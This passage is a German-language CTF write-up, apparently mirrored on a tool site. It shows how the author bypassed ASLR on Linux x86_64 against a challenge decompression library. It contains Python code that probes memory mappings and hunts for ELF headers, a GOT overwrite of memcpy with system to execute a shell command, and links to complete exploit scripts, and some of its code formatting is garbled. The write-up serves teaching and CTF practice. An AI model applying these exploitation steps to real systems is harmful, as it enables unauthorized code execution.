00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
Konzentrieren wir uns auf die Adressen, die mit dem Memory-Spraying erstellt wurden. \(*.unkyle Dateien \)

Wir können versuchen, den [Grenzüberschreitungs-Trick](#Boundary-cross-trick) anzuwenden.

| Speicheradresse | 4gb-Grenzüberschreitung?
| - |-
| 7fe2dc000000 | Nein
| 7fe2e0000000 | Nein
| 7fe2e4000000 | Nein
| 7fe2e8000000 | Nein
| 7fe2ec000000 | Nein
| 7fe2f0000000 | Nein
| 7fe2f4000000 | Nein
| 7fe2f8000000 | Nein
| 7fe2fc000000 | Nein
| 7fe300000000 | Ja
| 7fe304000000 | Ja
| 7fe308000000 | Ja

Indem wir den Wechsel von 7fe2.. zu 7fe3.. ausnutzen, können wir den Speicher mit einer Schrittweite von 0x100000000 = 4 GB Speicher scannen.

## 4.5 Endlich ASLR überwinden

Bei dieser Schrittweite können wir von `start=0x7f0000000000` bis `end=0x800000000000` mit nur `end - start / size` = 256 Abfragen scannen.```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

An diesem Punkt haben wir leakAddr, was eine gemappte Adresse wie folgt ist: 0x7fXX00000000, in diesem Fall ist leakAddr = 0x7fe300000000.

Wenn wir nun der Saelo-Technik folgen wollen, sollten wir eine binäre Suche über den Bereich 0x7fXX00000000 - 0x7fXXffffffff durchführen, um untere und obere Grenzen zu finden. Das Problem ist, dass es in diesem Bereich einige Lücken gibt, sodass die binäre Suche oft fehlschlägt.

Du kannst es selbst mit diesem Skript überprüfen:``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

root@kitploit:~
Dieser kleine Abstand zwischen 0x00007f763c000000 und 0x00007f763ccaa000 bringt die Binärsuche durcheinander, natürlich ist sie immer noch machbar, aber ich habe einen einfacheren Weg gefunden.

### Beobachtung

Wir wollen die letzte gemappte Adresse erhalten, denn dort werden Bibliotheken gemappt.

Zum Beispiel, gegeben diese Mappings für die Bibliotheken:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

Wir können mit diesem Trick nach der Adresse 7fe3d6a5b000 - 0x1000 suchen:

AdresseIst Adresse gemappt?
0x7fe3f0000000Nein
0x7fe3e0000000Nein
0x7fe3d0000000Ja
0x7fe3df000000Nein
0x7fe3de000000Nein
0x7fe3dd000000Nein
0x7fe3dc000000Nein
0x7fe3db000000Nein
0x7fe3da000000Nein
0x7fe3d9000000Nein
0x7fe3d8000000Nein
0x7fe3d7000000Nein
0x7fe3d6000000Ja
0x7fe3d6f00000Nein
0x7fe3d6e00000Nein
0x7fe3d6d00000Nein
0x7fe3d6c00000Nein
0x7fe3d6b00000Nein
0x7fe3d6a00000Ja
0x7fe3d6af0000Nein
0x7fe3d6ae0000Nein
0x7fe3d6ad0000Nein
0x7fe3d6ac0000Nein
0x7fe3d6ab0000Nein
0x7fe3d6aa0000Nein
0x7fe3d6a90000Nein
0x7fe3d6a80000Nein
0x7fe3d6a70000Nein
0x7fe3d6a60000Nein
0x7fe3d6a50000Ja
0x7fe3d6a5f000Nein
0x7fe3d6a5e000Nein
0x7fe3d6a5d000Nein
0x7fe3d6a5c000Nein
0x7fe3d6a5b000Nein
0x7fe3d6a5a000Ja

lastMappedPage = 0x7fe3d6a5a000

Wir brute-forcen jeweils ein halbes Byte, für ein Worst-Case-Szenario von 165 = 80 Abfragen.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 Der Exploit

Schließlich wissen wir alles, was wir über die Speicherzuordnungen wissen müssen; jetzt müssen wir nur noch eine Write-what-where-Primitive in Codeausführung umwandeln.

Um Codeausführung zu erreichen, habe ich den memcpy@got-Eintrag von libkyle.so mit system@libc überschrieben.

### libkyle-Basis ermitteln
Glücklicherweise befinden sich die libc-Basis und die libkyle.so-Basis in einem konstanten Offset von lastMappedPage; das wusste ich nicht, also schrieb ich einen Egghunter, der nach `\x7fELF` \(Header von ELF-Executables\) sucht, was sich letztendlich als nutzlos herausstellte.```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

Überschreibe libkyles memcpy@got und erlange RCE

Glücklicherweise war es gut genug, memcpy@got mit system zu überschreiben, um die Flag zu bekommen und diese saftige Prämie einzustreichen :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 Die Flagge!

Du findest den Exploit [hier](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py).

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

Es gibt auch eine 100% zuverlässige Version des Exploits [hier](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py).

## 5. Fazit

Ich hoffe, dir hat der Writeup gefallen. Falls etwas nicht klar genug war, zögere nicht, mich [@nick0ve](https://twitter.com/nick0ve) zu kontaktieren :)
Tool herunterladen